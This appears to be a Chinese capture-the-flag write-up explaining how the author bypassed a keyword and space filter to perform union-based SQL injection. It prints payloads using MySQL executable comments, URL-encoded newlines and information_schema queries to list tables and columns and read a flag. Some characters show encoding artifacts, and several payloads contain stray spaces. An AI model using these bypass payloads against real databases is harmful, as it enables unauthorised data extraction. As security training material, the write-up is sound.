1、空格檢測(cè)
輸入1',發(fā)現(xiàn)注入。

輸入1' ,注意,這里參數(shù)后面多加了一個(gè)空格。

2、關(guān)鍵字檢測(cè)
-
and
and通過(guò) -
select
select不通過(guò) -
from
from通過(guò) -
union
union被過(guò)濾
這里只檢測(cè)這么些個(gè),因?yàn)閷?shí)際用到的也不多
3、如何繞過(guò)?畢竟離不開(kāi)關(guān)鍵詞
我看了網(wǎng)上其他人的答案:
借鑒了幾個(gè)思路:
1、大小寫繞過(guò)
2、url編碼進(jìn)行繞過(guò)
3、注釋進(jìn)行繞過(guò)
結(jié)果:
1、大小寫繞不過(guò)
2、url編碼,試了%0a,意思是換行,也沒(méi)過(guò)
3、/* * /和/* !select * /過(guò)了!就算屏蔽了*和/號(hào),感覺(jué)也可以通過(guò)url編碼重編,然后再次嘗試?!

4、查找所有的表
'union/* !select* /table_name%0afrom%0ainformation_schema.tables%23網(wǎng)上給出的答案是這個(gè)。

其實(shí),在經(jīng)過(guò)轉(zhuǎn)化之后,它真正傳入到數(shù)據(jù)庫(kù)的語(yǔ)句是這樣的
'union/* !select * /table_name
from
information_schema.tables#
很明顯,我有很多地方有疑惑。
首先,第一點(diǎn)來(lái)說(shuō)。在《SQL注入與防御》中說(shuō)到,需要用正確的sql語(yǔ)句來(lái)確認(rèn)注入,使用錯(cuò)誤的sql語(yǔ)句來(lái)發(fā)現(xiàn)注入。在這里,操作數(shù)據(jù)庫(kù)的sql語(yǔ)句可能是這樣寫的:
select * from where id =
而這里,是直接將'union傳入,相當(dāng)于是
select * from where id = '' union select ***
傳入了非正確的sql語(yǔ)句
當(dāng)然了,聯(lián)合查詢這樣做也是可以的,只是疑惑了一小會(huì)。
接下來(lái),就是不懂的地方了。
使用/* !select* /確實(shí)是可以讓mysql執(zhí)行這個(gè)關(guān)鍵字,但是,為什么要在
information_shcema.tables后面加個(gè)#號(hào)呢?
明白了,這個(gè)#是代表,注釋直到#號(hào)這行結(jié)束。
但是問(wèn)題又來(lái)了,既然是注釋,為什么會(huì)被執(zhí)行?井號(hào)為什么不是在/* !select * /后面加,而是在#號(hào)后加呢?
解決第一個(gè)疑問(wèn):
在絕大多數(shù)編程語(yǔ)言中/** /都是代表注釋的意思。但是mysqldump在導(dǎo)出的時(shí)候,為了保持兼容也能在其他SQL數(shù)據(jù)庫(kù)運(yùn)行,唯獨(dú)能在mysql中被執(zhí)行的就是/ *! * /了。所以,這里的/ *!select * /也就是順從了這個(gè)規(guī)則,未被過(guò)濾且被執(zhí)行。
第二個(gè)疑問(wèn):#號(hào)代表這一行注釋的結(jié)束,很明顯,這是可執(zhí)行注釋的結(jié)束,以免影響到后面的語(yǔ)句。
這里的知識(shí)點(diǎn):
1、爆表sql語(yǔ)句:
union select table_name from information_schema.tables
2、使用換行url編碼,跳過(guò)waf對(duì)空格的封鎖
其實(shí)這里我換了一種方法,'union/ * !select* /table_name/** /from/**/information_schema.tables%23,也是可以得到目的,而且看起來(lái)更加工整?

5、爆列名和字段
所有的表均被爆了出來(lái),看這里,是不是覺(jué)得勝利有望?繼續(xù)干,拿列名!

從information_schema.columns中讀取列名
'union/ * !select * /column_name/ ** /from/ ** /information_schema.columns/ ** /where/ ** /table_name='flag'%23

'union/ * !select * /flag/ ** /from/ ** /flag%23

6、思路總結(jié)
一開(kāi)始拿到這個(gè)題目,我是完全沒(méi)有思路的,不知道該如何下手,但是滲透測(cè)試一定要形成自己的思路體系。xss、sql注入各個(gè)思路不盡相同。這里總結(jié)sql。
首先,看它過(guò)濾了哪些,從關(guān)鍵字下手測(cè)試,sql注入攻擊離不開(kāi)關(guān)鍵字的幫助。
還有常規(guī)的空格過(guò)濾測(cè)試,特殊符號(hào)過(guò)濾測(cè)試。
這里如果是空格過(guò)濾的話,可以使用/ ** /注釋進(jìn)行繞過(guò),當(dāng)然,繞過(guò)過(guò)濾空格的方法還有很多,以后遇到再做知識(shí)儲(chǔ)備。
然后,是爆數(shù)據(jù)庫(kù)、列名、字段,這里使用的是information_schema.tables配合/ *! * /結(jié)合select這個(gè)技術(shù)進(jìn)行爆破。值得我學(xué)習(xí)的是,這里的sql語(yǔ)句很簡(jiǎn)潔效果很好,union select table_name from informatin_schema.tables再次安利一下。
知道數(shù)據(jù)庫(kù),就該爆列名了。
union select column_name from information_schema.columns where table_name=flag
知道數(shù)據(jù)庫(kù)和列名,最后的答案就可以拿出來(lái)了。
union select flag where flag
檢測(cè)過(guò)濾 => 爆數(shù)據(jù)庫(kù) => 爆列名 => 爆字段
過(guò)濾分為:
特殊字符和關(guān)鍵字過(guò)濾
解決方法是利用url編碼或者注釋



